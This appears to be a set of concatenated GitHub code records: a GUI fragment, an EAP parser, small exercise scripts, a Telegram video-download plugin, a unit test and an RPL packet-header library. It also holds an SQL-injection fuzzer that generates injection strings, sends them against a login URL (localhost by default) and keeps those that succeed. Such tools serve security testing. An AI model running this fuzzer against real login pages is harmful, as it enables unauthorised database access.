command=quit)\r\nbtn1.place(relx=\"0.2\",rely=\"0.8\")\r\nroot.mainloop()","repo_name":"srinathmadasu76/TextExtractionNLP","sub_path":"guitextextraction.py","file_name":"guitextextraction.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34299056103","text":"import sys, getopt\nimport json\nimport logging\nfrom datetime import date\n\n\nfuzzer_logger = logging.getLogger(\"Fuzzer\")\n\nurl = \"http://localhost/login-1/\"\ntotal_base_strings = 10\nmax_tries = 7\nodds_file = \"Tools/Database/odds.json\"\ndebug_mode = False\n\nfrom Tools.sql_generator import *\nfrom Tools.tester import payload_check\n\ndef init_args(argv):\n \"\"\"\n This function initialize the args from cmd/Terminal\n \"\"\"\n global url, total_base_strings, max_tries, odds_file, debug_mode\n with open(\"txt/help.txt\") as f:\n help_lines = f.readlines()\n help_lines = \"\".join(help_lines)\n try:\n opts, args = getopt.getopt(argv,\"u:b:t:f:d\")\n except getopt.GetoptError:\n print(\"fuzzer.py -u -b \" \\\n \"-t -f -d\\n\" + help_lines)\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == '-h':\n print(\"fuzzer.py -u -t \" \\\n \"-c -f -d\\n\" + help_lines)\n sys.exit()\n elif opt in \"-u\":\n url = arg\n elif opt in \"-b\":\n total_base_strings = int(arg)\n elif opt in \"-t\":\n max_tries = int(arg)\n elif opt in \"-f\":\n odds_file = arg\n elif opt in \"-d\":\n debug_mode = True\n init_stats(odds_file)\n\ndef change_info_in_string(s, info):\n \"\"\"\n This function is an addon to the txt_results function.\n It help altering info inside the report format easier.\n \"\"\"\n num_len = len(str(info))\n zero_index = s.find(\"0\")\n\n s = s[:zero_index] + str(info) + s[zero_index + num_len:]\n return s\n\ndef txt_results():\n today = date.today()\n date_today = today.strftime(\"%m_%d_%y\")\n filename = \"{}_report_s{}_e{}.txt\".format(date_today, len(successful_list), len(error_list))\n s = \"\"\n # Adding the fixed report info\n with open(\"txt/sample_report.txt\") as f:\n lines = f.readlines()\n for l in lines[:5]:\n s += l\n # Adding the tries and success info\n total_tries = len(garbage) + len(error_list) + len(successful_list)\n s += change_info_in_string(lines[5], total_tries)\n s += change_info_in_string(lines[6], len(successful_list))\n s += change_info_in_string(lines[7], len(error_list))\n\n for l in lines[8:11]:\n s += l\n\n s += change_info_in_string(lines[11], total_base_strings)\n s += change_info_in_string(lines[12], max_tries)\n\n for l in lines[13:16]:\n s += l\n s += change_info_in_string(lines[16], filename)\n\n for l in lines[17:18]:\n s += l\n\n with open(filename, \"w\") as f:\n f.write(s)\n\n f.write(\"\\nSuccessful Strings\\n------------------\\n\")\n for id, tried_string in successful_list:\n f.write(tried_string + \"\\n\")\n\n f.write(\"\\nError Strings\\n-------------\\n\")\n for id, tried_string in error_list:\n f.write(tried_string + \"\\n\")\n\n f.write(\"\\nNone Effective Strings\\n----------------------\\n\")\n for id, tried_string in garbage:\n f.write(tried_string + \"\\n\")\n\n return s\n\n\ndef fuzzing():\n \"\"\"\n This is the fuzzing function.\n It generates strings and tries them.\n The function prints a summarized report and returns the successful strings\n \"\"\"\n global garbage, error_list, successful_list\n s_list = [] # Stores the base strings\n garbage = [] # Stores the old, non-working strings\n abnormal = [] # Stores the strings with abnormal behaviours\n error_list = []\n successful_list = []\n\n # Making the base strings\n print(\"Making the base strings\")\n for i in range(total_base_strings):\n id, s = create_string()\n fuzzer_logger.info(\" Base string: {}, id: {}\".format(s, id))\n s_list.append((id, s))\n\n print(\"Checking strings...\")\n # Testing every base string\n for id, s in s_list:\n check = payload_check(url, s)\n fuzzer_logger.info(\" Checked: {}, Result: {}\".format(s, check))\n if check != \"normal\":\n abnormal.append((id, s))\n # Removing abnormal strings from s_list\n s_list = [(id,s) for id, s in s_list if (id,s) not in abnormal]\n\n\n print(\"First results:\\n Tried strings: {}\\n\"\\\n \" Abnormal Strings: {}\".format(str(len(abnormal) + len(s_list)), len(abnormal)))\n\n print(\"Trying to upgrade the \\\"normal\\\" strings\")\n # Adding commands to the \"normal\" base string to get different result\n if debug_mode:\n fuzzer_logger.info(\" Upgrading \\\"normal\\\" strings\")\n for id, s in s_list:\n tries = 0\n fuzzer_logger.info(\" Upgrading \\\"normal\\\" string: {}\".format(s))\n while tries < max_tries:\n tries += 1\n garbage.append((id,s))\n id, s = upgrade(id)\n check = payload_check(url, s)\n fuzzer_logger.info(\" Checked: {}, Result: {}\".format(s, check))\n if check != \"normal\":\n abnormal.append((id,s))\n break\n\n print(\"Adding another command to abnormal strings\")\n # Upgrading abnormal strings to try and make them better\n if debug_mode:\n fuzzer_logger.info(\" Checking abnormal strings\")\n for id, s in abnormal:\n garbage.append((id, s))\n id, s = upgrade(id)\n check = payload_check(url, s)\n fuzzer_logger.info(\" Checked: {}, Result: {}\".format(s, check))\n if check == \"normal\":\n # abnormal string has stopped working\n garbage.append((id, s))\n continue\n if check == \"error\":\n # Same result as before, still interesting\n error_list.append((id, s))\n if check == \"success\":\n # This is a perfect string, goes straight to save\n successful_list.append((id, s))\n\n error_list += abnormal\n print(\"Now checking all the strings that made errors\")\n # Trying to make error string be successful\n fuzzer_logger.info(\" Adding finishing touches(comments) to error strings\")\n for id, s in error_list:\n tries = 0\n while tries < max_tries:\n tries += 1\n garbage.append((id, s))\n id, s = finishing_touches(id)\n check = payload_check(url, s)\n fuzzer_logger.info(\" Checked: {}, Result: {}\".format(s, check))\n if check == \"error\":\n continue # nothing has changed, continue to check\n if check == \"normal\":\n garbage.append((id, s)) # error string broke, throw it to garbage\n break\n if check == \"success\":\n successful_list.append((id, s)) # the string is perfect!, Saving it...\n break\n\n print(txt_results())\n return successful_list\n\n\n\nif __name__ == '__main__':\n init_args(sys.argv[1:])\n\n logging.basicConfig(filename=\"\" if debug_mode else \"logs/fuzzer.log\", level=logging.DEBUG)\n fuzzer_logger.debug(\"URL: {}, Max base strings: {},\"\\\n \"Max tries per string: {}, Odds file: {}, \"\\\n \"Debug: {}\".format(url, total_base_strings, max_tries, odds_file, debug_mode))\n\n fuzzing()","repo_name":"AmitayAbudy/SQLi-Fuzzer","sub_path":"fuzzer.py","file_name":"fuzzer.py","file_ext":"py","file_size_in_byte":7085,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"70979516325","text":"#code\nRequest = 1\nSuccess = 3\nResponse = 2\nFailure = 4\n\n#type\nIdentity = 1\nLegacyNak = 3\nMD5Challenge = 4\n\nPEAP = 25\nMSCHAPV2 = 26\n\n#mschap\nChallenge = 1\nResponse = 2\nSuccess = 3\nFailure = 4\nChangePassword =5\n\nimport struct\nimport uuid\nimport logging\n\nlogger = logging.getLogger('eap.message')\ndebug = logger.debug\n\n\n\nclass EAP:\n\n def __init__(self, Identity):\n self.Identity = Identity\n\n def eap_body(self, data):\n r = data()\n t = data[0]\n body = data[1:]\n\n if t == Identity:\n r['Identity'] = body.decode('utf8')\n elif t == LegacyNak:\n r['LegacyNak'] = body[0]\n elif t == MD5Challenge:\n l = body[0]\n r['MD5Challenge'] = body[1:l+1]\n elif t== MSCHAPV2:\n print('TODO')\n\n elif t == PEAP:\n flags = body[0]\n r['TLSFlags'] = flags\n r['TLSMore'] = flags & 0x40\n\n if flags & 0x80:\n l = body[1] << 32 | body[2] << 16 | body[3] << 8 | body[4]\n if l:\n r['TLS'] = body[5:l+5]\n else:\n r['TLS'] = body[5:]\n else:\n r['TLS'] = body[1:]\n\n\n def eap(self, data):\n code,ident,length = data[0],data[1],data[2] << 8 | data[3]\n data = data[4:length]\n\n return code,ident,length, self.eap_body(data)","repo_name":"alex-eri/uradius","sub_path":"radius/eap/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18074786395","text":"def consecutiveNums():\n nums = []\n for i in range(100):\n inputNum = eval(input(\"Enter a number:\\nEnter 0 to quit loop \"))\n if inputNum == 0:\n break\n nums.append(inputNum)\n\n countingList = []\n for k in range(len(nums)):\n counter = 0\n for j in range(len(nums)):\n if nums[k] == nums[j]:\n counter += 1\n if nums[k] not in countingList:\n print(str(nums[k]) + \" is repeated \" + str(counter) + \" times\")\n countingList.append(nums[k])\n\n\nconsecutiveNums()\n","repo_name":"SaadRehmanCS/PythonMiniChallengeProblems","sub_path":"src/ConsecutiveNums.py","file_name":"ConsecutiveNums.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28583543259","text":"data = []\ncount = 0\nwith open('reviews.txt', 'r') as f:\n\tfor line in f:\n\t\tcount += 1 #count = count +1\n\t\tdata.append(line)\n\t\t#if count % 1000 == 0: #餘數等於0\n\t\t\t#print(len(data))\n\nprint('檔案讀取完了, 總共有', len(data), '筆資料')\n\nprint(data[0]) \nprint(len(data[0]))\n \nsum_len = 0\nfor d in data:\n\tsum_len += len(d) #sum_len = sum_len + len(d)\n\nprint('平均長度是', sum_len/len(data))\n\nmata = []\n\nfor s in data:\n\tif len(s) < 100:\n\t\tmata.append(s)\n\nprint('一共有', len(mata), '筆資料長度小於100')\n\ngood = [] #清單快寫法 good[a for a in data if 'good' in d] 第一個a 代表 good.append(a)\n\nfor a in data:\n\tif 'good' in a:\n\t\tgood.append(a)\n\nprint('一共有', len(good),'個留言提到good')\nprint(good[0])\n\nbad = [d for d in data if 'bad' in d]\nprint(bad[0])\n\nbad = [1 for d in data if 'bad' in d]\nprint(bad[0])\n\nbad = ['bad' in d for d in data]\n\nbad = []\nfor d in data:\n\tbad.append('bad' in d)","repo_name":"brad510444/reviews-analytics","sub_path":"read2.py","file_name":"read2.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32059547630","text":"\"\"\"\nPlugin ytdl para ia.cecil: Devolve vídeo/áudio a partir de link.\n\nia.cecil\n\nCopyleft 2020-2022 Iuri Guilherme \n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n\"\"\"\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nimport io\nimport os\nimport random\nimport uuid\nimport validators\nimport youtube_dl\nimport yt_dlp\nfrom aiogram.utils.markdown import escape_md, pre\nfrom contextlib import redirect_stdout\nfrom tempfile import gettempdir\nfrom iacecil.controllers.aiogram_bot.callbacks import (\n command_callback,\n error_callback,\n message_callback,\n)\n\nasync def baixar(url, extension = 'mp4', **kwargs):\n try:\n video_file_name = os.path.join(gettempdir(), \"ic.{}.{}\".format(\n uuid.uuid4(), extension))\n options = {\n 'outtmpl' : video_file_name,\n #'format': 'worstvideo+worstaudio/worst',\n # ~ 'format': 'mp4',\n # ~ 'max_filesize': 1,\n #'merge_output_format': 'mp4',\n #'postprocessor_args': [\n #'-an',\n #'-c:v libx264',\n #'-crf 26',\n #'-vf scale=640:-1',\n #],\n **kwargs,\n }\n ## FIXME Blocking!\n ## This is always blocking in upstream:\n ## https://github.com/ytdl-org/youtube-dl/issues/30815\n ## https://github.com/yt-dlp/yt-dlp/issues/3298\n ## https://github.com/yt-dlp/yt-dlp/issues/1918\n # ~ youtube_dl.YoutubeDL(options).download([url])\n yt_dlp.YoutubeDL(options).download([url])\n return video_file_name\n except Exception as exception:\n logger.warning(repr(exception))\n raise\n\nasync def ytdl(dispatcher, message):\n url = None\n command = u\"Não deu certo...\"\n ## Será que é link?\n if message.entities is not None:\n for entity in message.entities:\n if entity['type'] == \"url\":\n url = message.text[entity['offset']:entity[\n 'length'] + entity['offset']]\n if not url and message.reply_to_message is not None:\n for entity in message.reply_to_message.entities:\n if entity['type'] == \"url\":\n url = message.reply_to_message.text[entity[\n 'offset']:entity['length'] + entity['offset']]\n if url and validators.url(url):\n pass\n else:\n url = None\n if url:\n video_file = None\n try:\n with redirect_stdout(io.StringIO()) as f:\n await baixar(url, format = 'mp4', max_filesize = 1)\n video_size = f.getvalue().split(\n '[download] File is larger than max-filesize ('\n )[1].split(' bytes > 1 bytes). Aborting.'\n )[0]\n if int(video_size) >= 50000000:\n command = await message.reply(u\"\"\"O vídeo é maior d\\\no que o limite de 50mb do telegram e por consequência disto não posso t\\\ne ajudar hoje. Se no futuro o meu desenvolvedor conseguir dividir o víd\\\neo em pedaços, uma das robôs vai avisar no canal: {}\"\"\".format(\n dispatcher.config.telegram['info']['channel']))\n else:\n video_file = await baixar(url, extension='mp4',\n format='mp4')\n except Exception as exception:\n await error_callback(\n u\"Erro tentando baixar vídeo\",\n message,\n exception,\n ['ytdl'],\n )\n command = await message.reply(\n escape_md(u\"\"\"Não consegui extrair a mídia. Olha o \\\nque o servidor me disse: \"\"\") + pre(\"{}\".format(str(exception))),\n parse_mode = \"MarkdownV2\",\n disable_notification = True,\n )\n video = None\n try:\n if video_file:\n with open(video_file, 'rb') as video:\n command = await message.reply_video(\n video = video,\n caption = url,\n )\n if not command:\n raise\n except Exception as exception:\n await error_callback(\n u\"Erro tentando subir vídeo\",\n message,\n exception,\n ['ytdl', 'exception'],\n )\n command = await message.reply(u\"\"\"Não consegui enviar o\\\n arquivo. Tentei avisar o pessoal do desenvolvimento...\"\"\",\n disable_notification = True,\n )\n finally:\n if video is not None:\n video.close()\n try:\n if video_file is not None and os.path.exists(\n video_file):\n os.remove(video_file)\n except Exception as exception:\n logging.warning(u\"probably path doesn't exist\")\n logging.warning(repr(exception))\n else:\n command = await message.reply(escape_md(u\"\"\"\\nO comando \\\n{comando} serve pra extrair um vídeo ou áudio de algum site com suporte\\\n. Este comando usa o youtube-dl. Digite \"{comando} url\" para usar (dê u\\\nm espaço entre o comando e o link). Por exemplo, para baixar o vídeo do\\\n rick roll:\\n\\n\"\"\".format(comando = message.get_command())) + \\\npre(u\"\"\"{comando} https://youtube.com/watch?v=dQw4w9WgXcQ\"\"\".format(\n comando = message.get_command())) + escape_md(u\"\"\"\\n\\nOu então resp\\\nonda uma mensagem que tem um link com {comando} na resposta.\"\"\".format(\n comando = message.get_command()\n )),\n parse_mode = \"MarkdownV2\",\n )\n await command_callback(command, ['ytdl', message.chat.type])\n\n## Aiogram\nasync def add_handlers(dispatcher):\n try:\n ## Extrai vídeo ou áudio de vários serviços\n @dispatcher.message_handler(commands = ['y', 'yt', 'ytdl',\n 'youtube', 'baixar', 'video', 'download', 'dl'])\n async def ytdl_callback(message):\n await message_callback(message, ['ytdl', message.chat.type])\n await message.reply(u\"ok, vou baixar o vídeo e já te aviso\")\n await ytdl(dispatcher, message)\n except Exception as e:\n logger.exception(e)\n raise\n","repo_name":"iuriguilherme/iacecil","sub_path":"src/plugins/ytdl.py","file_name":"ytdl.py","file_ext":"py","file_size_in_byte":7070,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"28672323840","text":"import unittest\nfrom city_functions import formatted_city_country\n\nclass TestFormattedCityCountry(unittest.TestCase):\n\n def test_city_country(self):\n formatted_result = formatted_city_country('santiago', 'chile')\n self.assertEqual(formatted_result, 'Santiago, Chile')\n\n def test_city_country_population(self):\n formatted_result = formatted_city_country('santiago', 'chile', \n 500000)\n self.assertEqual(formatted_result, \n 'Santiago, Chile - population 500000')\n\nunittest.main()","repo_name":"drliebe/python_crash_course","sub_path":"ch11/test_cities.py","file_name":"test_cities.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27810259721","text":"import struct\ntry:\n from collections import OrderedDict\nexcept ImportError: # your python version might be too old already\n from backport import OrderedDict\n\n# constant values for the RPL protocol\n\n# ICMPv6 message type\nICMPv6_RPL = 155\n\n# ICMPv6 message codes for RPL messages\nRPL_DIS = 0x00\nRPL_DIO = 0x01\nRPL_DAO = 0x02\nRPL_DAO_ACK = 0x03\nRPL_SEC_DIS = 0x80\nRPL_SEC_DIO = 0x81\nRPL_SEC_DAO = 0x82\nRPL_SEC_DAO_ACK = 0x83\nRPL_CC = 0x8A # Consistency Check\n\n# RPL control message option type\nRPL_OPT_Pad1 = 0x00\nRPL_OPT_PadN = 0x01\nRPL_OPT_DAG_Metric_Container = 0x02\nRPL_OPT_Routing_Information = 0x03\nRPL_OPT_DODAG_Configuration = 0x04\nRPL_OPT_RPL_Target = 0x05\nRPL_OPT_Transit_Information = 0x06\nRPL_OPT_Solicited_Information = 0x07\nRPL_OPT_Prefix_Information = 0x08\nRPL_OPT_Target_Descriptor = 0x09\n\n\nclass Header(object):\n \"\"\"A Generic Packet Header\"\"\"\n _fields = None\n _compound_fields = None\n\n _format = \"!\"\n _header_size = 0 # in bytes\n _header = None\n _compound = None # compound fields (i.e. fields that contains flag)\n _pure = True # per Packet instances that are directly derived from Packet\n\n def __init__(self):\n super(Header, self).__init__()\n object.__setattr__(self, \"_fields\", [])\n object.__setattr__(self, \"_compound_fields\", [])\n object.__setattr__(self, \"_header\", OrderedDict())\n object.__setattr__(self, \"_compound\", OrderedDict())\n Header.build_compound_fields(self)\n\n def __str__(self):\n self.build_compound_fields()\n return struct.pack(self._format, * self._header.values())\n\n def __repr__(self):\n self.build_compound_fields()\n fields = \"Field: \\n\" + \\\n \"\\n\".join([field + \": \" + repr(self._header[field]) for field in self._fields])\n if self._compound.keys:\n compound_fields = \"\\nCompound fields: \\n\" + \\\n \"\\n\".join([field + \": \" + repr(self._compound[field]) for field in self._compound])\n else:\n compound_fields = \"\"\n return fields + compound_fields\n\n def build_compound_fields(self):\n \"\"\"Build the compound fields from the data that are smaller than a bytes.\n This is the place where the flags are packed into bytes prior sending.\"\"\"\n pass\n\n def unpack_compound_fields(self):\n pass\n\n def parse(self, string):\n \"\"\"parse a binary string into an ICMPv6 header and return the (remaining, unparsed) payload\"\"\"\n if len(string) < self._header_size:\n raise Exception(\"string argument is to short to be parsed\")\n\n unamed_fields = struct.unpack(self._format, string[:self._header_size])\n if len(unamed_fields) != len(self._fields):\n raise Exception(\"unpacked field data does not match, check your header definition\")\n\n for k, field in zip(self._header.keys(), unamed_fields):\n self._header[k] = field\n self.unpack_compound_fields()\n return string[self._header_size:]\n\n # provide a dict like interface\n def __getitem__(self, key):\n try:\n return self._header[key]\n except KeyError:\n pass\n try:\n return self._compound[key]\n except KeyError:\n pass\n\n return object.__getattribute__(self, key)\n\n def __setitem__(self, key, value):\n if key in self._fields:\n self._header[key] = value\n elif key in self._compound_fields:\n self._compound[key] = value\n else:\n raise KeyError\n\n # self.unpack_compound_fields()\n\n def __getattr__(self, name):\n return self.__getitem__(name)\n\n def __setattr__(self, name, value):\n if hasattr(self, name):\n if name in self._fields or name in self._compound_fields:\n self.__setitem__(name, value)\n else:\n object.__setattr__(self, name, value)\n else:\n raise AttributeError(\"new attributes can not be added to this class\")\n\n def __div__(self, other):\n \"\"\"Syntaxic sugar for easier Header construction construction.\n Example:\n MyXYZHeader()/MyOtherXYZHeader() would be equivalent to\n \"\".join([str(MyXYZHeader()), str(MyOtherXYZHeader())])\n \"\"\"\n return \"\".join(str(self), str(other))\n\n#\n# Definition of the ICMPv6 header\n#\n\n\nclass ICMPv6(Header):\n \"\"\"A Generic Packet header\"\"\"\n\n def __init__(self, mtype=ICMPv6_RPL, code=RPL_DIO, checksum=0):\n super(ICMPv6, self).__init__()\n\n self._format += \"BBH\"\n self._fields += ['type', 'code', 'checksum']\n self._header_size += 4 # size of an ICMP header\n\n self._header['type'] = mtype\n self._header['code'] = code\n self._header['checksum'] = checksum\n\n ICMPv6.build_compound_fields(self)\n\n def build_compound_fields(self):\n super(ICMPv6, self).build_compound_fields()\n\n def unpack_compound_fields(self):\n super(ICMPv6, self).unpack_compound_fields()\n\n#\n# Definition of the RPL messages\n#\n\n\n# From Section 6.2.1, format of the DIS message:\n# 0 1 2\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Flags | Reserved | Option(s)...\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\nclass DIS(ICMPv6):\n \"\"\"DODAG Information Solicitation\"\"\"\n def __init__(self, flags=0, reserved=0, \\\n pure=False):\n if (not pure):\n super(DIS, self).__init__(code=RPL_DIS)\n self._pure = False\n else:\n Header.__init__(self)\n\n self._fields += ['flags', 'reserved']\n self._format += \"BB\"\n self._header_size += 2\n\n self._header['flags'] = flags\n self._header['reserved'] = reserved\n\n# From Section 6.3.1 (RFC 6550):\n# DIO Format\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | RPLInstanceID |Version Number | Rank |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# |G|0| MOP | Prf | DTSN | Flags | Reserved |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# + +\n# | |\n# + DODAGID +\n# | |\n# + +\n# | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Option(s)...\n# +-+-+-+-+-+-+-+-+\n\n\nclass DIO(ICMPv6):\n \"\"\"DODAG Information Object (DIO) message header\"\"\"\n\n def __init__(self, instanceID=0, version=0, rank=0, G=0, MOP=0,\\\n Prf=0, DTSN=0, flags=0, reserved=0, DODAGID='\\x00' * 16,\\\n pure=False):\n if (not pure):\n super(DIO, self).__init__(code=RPL_DIO)\n self._pure = False\n else:\n Header.__init__(self)\n\n # expend the format\n self._fields += ['instanceID', 'version', 'rank', \\\n 'G_MOP_Prf', 'DTSN', 'flags', 'reserved', \\\n 'DODAGID',\\\n ]\n self._compound_fields += ['G', 'MOP', 'Prf']\n self._format += 'BBHBBBB16s'\n self._header_size += 24\n\n self._header['instanceID'] = instanceID\n self._header['version'] = version\n self._header['rank'] = rank\n self._header['G_MOP_Prf'] = 0 # compound field\n self._header['DTSN'] = DTSN\n self._header['flags'] = flags\n self._header['reserved'] = reserved\n self._header['DODAGID'] = DODAGID\n\n self._compound['G'] = G\n self._compound['MOP'] = MOP\n self._compound['Prf'] = Prf\n\n self.build_compound_fields()\n\n def build_compound_fields(self):\n if (not self._pure):\n super(DIO, self).build_compound_fields()\n\n # verifies the field content\n if self.G < 0 or self.G > 1:\n raise ValueError(\"G must be 0 or 1\")\n\n if self.MOP < 0 or self.MOP > 4:\n raise ValueError(\"MOP must be within range 0 to 4\")\n\n if self.Prf < 0 or self.Prf > 7:\n raise ValueError(\"Prf (DODAGPreference) must be within range 0 to 7\")\n\n self.G_MOP_Prf = self.G << 7 | self.MOP << 3 | self.Prf\n\n def unpack_compound_fields(self):\n if (not self._pure):\n super(DIO, self).unpack_compound_fields()\n\n self.G = (self.G_MOP_Prf >> 7) & 0x01\n self.MOP = (self.G_MOP_Prf >> 3) & 0x07\n self.Prf = self.G_MOP_Prf & 0x07\n\n# From Section 6.4.1 (RFC 6550):\n# DAO Format\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | RPLInstanceID |K|D| Flags | Reserved | DAOSequence |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# + +\n# | |\n# + DODAGID (optional) +\n# | |\n# + +\n# | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Option(s)...\n# +-+-+-+-+-+-+-+-+\n\nclass DAO(ICMPv6):\n \"\"\"Destination Advertisement Object\"\"\"\n def __init__(self, instanceID=0, K=0, D=0, flags=0, reserved=0, DAOsequence=0, \\\n DODAGID='\\x00' * 16, pure=False):\n if (not pure):\n super(DAO, self).__init__(code=RPL_DAO)\n self._pure = False\n else:\n Header.__init__(self)\n\n self._fields += ['instanceID', 'KDflags', 'reserved', 'DAOsequence', \\\n 'DODAGID']\n self._compound_fields += ['K', 'D', 'flags']\n self._format += \"BBBB16s\"\n self._header_size += 20\n\n self._header['instanceID'] = instanceID\n self._header['KDflags'] = 0 # compound field\n self._header['reserved'] = reserved\n self._header['DAOsequence'] = DAOsequence\n # depends if the D flag is set or not\n self._header['DODAGID'] = DODAGID\n\n self._compound['K'] = K\n self._compound['D'] = D\n self._compound['flags'] = flags\n\n self.build_compound_fields()\n\n def build_compound_fields(self):\n if (not self._pure):\n super(DAO, self).build_compound_fields()\n\n # verifies the field content\n if self.K < 0 or self.K > 1:\n raise ValueError(\"K must be 0 or 1\")\n\n if self.D < 0 or self.D > 1:\n raise ValueError(\"D must be 0 to 1\")\n\n if self.flags < 0 or self.flags > 2**6 - 1:\n raise ValueError(\"flags must be within range 0 to 63\")\n\n self.KDflags = self.K << 7 | self.D << 6 | self.flags\n\n def unpack_compound_fields(self):\n if (not self._pure):\n super(DAO, self).unpack_compound_fields()\n\n self.K = (self.KDflags >> 7) & 0x01\n self.D = (self.KDflags >> 6) & 0x01\n self.flags = self.KDflags & 0x3f\n\n def __str__(self):\n # there is a need to override the default string convertion\n # this is because the DODAGID field is optional\n if not self.D: # the DODADID must not be present\n return struct.pack(self._format[:-1], * self._header.values()[:-1])\n else:\n return super(DAO, self).__str__()\n\n def parse(self, string):\n # there is a need to override the default input parsing\n # this is because the DODAGID field is optional\n if len(string) < self._header_size - 16: # that is, if the DODAGID is not present\n raise Exception(\"string argument is to short to be parsed\")\n\n unamed_fields = struct.unpack(self._format[:-1], string[:self._header_size - 16])\n if len(unamed_fields) != len(self._fields) - 1:\n raise Exception(\"unpacked field data does not match, check your header definition\")\n\n for k, field in zip(self._header.keys(), unamed_fields):\n self._header[k] = field\n self.unpack_compound_fields()\n\n if not self.D:\n return string[self._header_size - 16:]\n else:\n return super(DAO, self).parse(string)\n\n# From Section 6.5\n# DAO-ACK\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | RPLInstanceID |D| Reserved | DAOSequence | Status |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# + +\n# | |\n# + DODAGID* +\n# | |\n# + +\n# | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Option(s)...\n# +-+-+-+-+-+-+-+-+\n\nclass DAO_ACK(ICMPv6):\n \"\"\"Destination Advertisement Object Acknowledgment\"\"\"\n\n def __init__(self, instanceID=0, D=0, reserved=0, DAOSequence=0, Status=0, \\\n DODAGID='\\x00' * 16,\n pure=False):\n if (not pure):\n super(DAO_ACK, self).__init__(code=RPL_DAO_ACK)\n self._pure = False\n else:\n Header.__init__(self)\n\n self._fields += ['instanceID', 'Dreserved', 'DAOSequence', 'Status', \\\n 'DODAGID']\n self._compound_fields += ['D', 'reserved']\n self._format += \"BBBB16s\"\n self._header_size += 20\n\n self._header['instanceID'] = instanceID\n self._header['Dreserved'] = 0 # compound field\n self._header['DAOSequence'] = DAOSequence\n self._header['Status'] = Status\n self._header['DODAGID'] = DODAGID\n\n self._compound['D'] = D\n self._compound['reserved'] = reserved\n\n self.build_compound_fields()\n\n def build_compound_fields(self):\n if (not self._pure):\n super(DAO_ACK, self).build_compound_fields()\n\n if self.D < 0 or self.D > 1:\n raise ValueError(\"D must be 0 to 1\")\n\n if self.reserved < 0 or self.reserved > 2**7 - 1:\n raise ValueError(\"reserved must be within range 0 to 127\")\n\n self.Dreserved = self.D << 7 | self.reserved\n\n def unpack_compound_fields(self):\n if (not self._pure):\n super(DAO_ACK, self).unpack_compound_fields()\n\n self.D = (self.Dreserved >> 7) & 0x01\n self.reserved = self.Dreserved & 0x7f\n\n def __str__(self):\n # there is a need to override the default string convertion\n # this is because the DODAGID field is optional\n if not self.D: # the DODADID must not be present\n return struct.pack(self._format[:-1], * self._header.values()[:-1])\n else:\n return super(DAO_ACK, self).__str__()\n\n def parse(self, string):\n # there is a need to override the default input parsing\n # this is because the DODAGID field is optional\n if len(string) < self._header_size - 16: # that is, if the DODAGID is not present\n raise Exception(\"string argument is to short to be parsed\")\n\n unamed_fields = struct.unpack(self._format[:-1], string[:self._header_size - 16])\n if len(unamed_fields) != len(self._fields) - 1:\n raise Exception(\"unpacked field data does not match, check your header definition\")\n\n for k, field in zip(self._header.keys(), unamed_fields):\n self._header[k] = field\n self.unpack_compound_fields()\n\n if not self.D:\n return string[self._header_size - 16:]\n 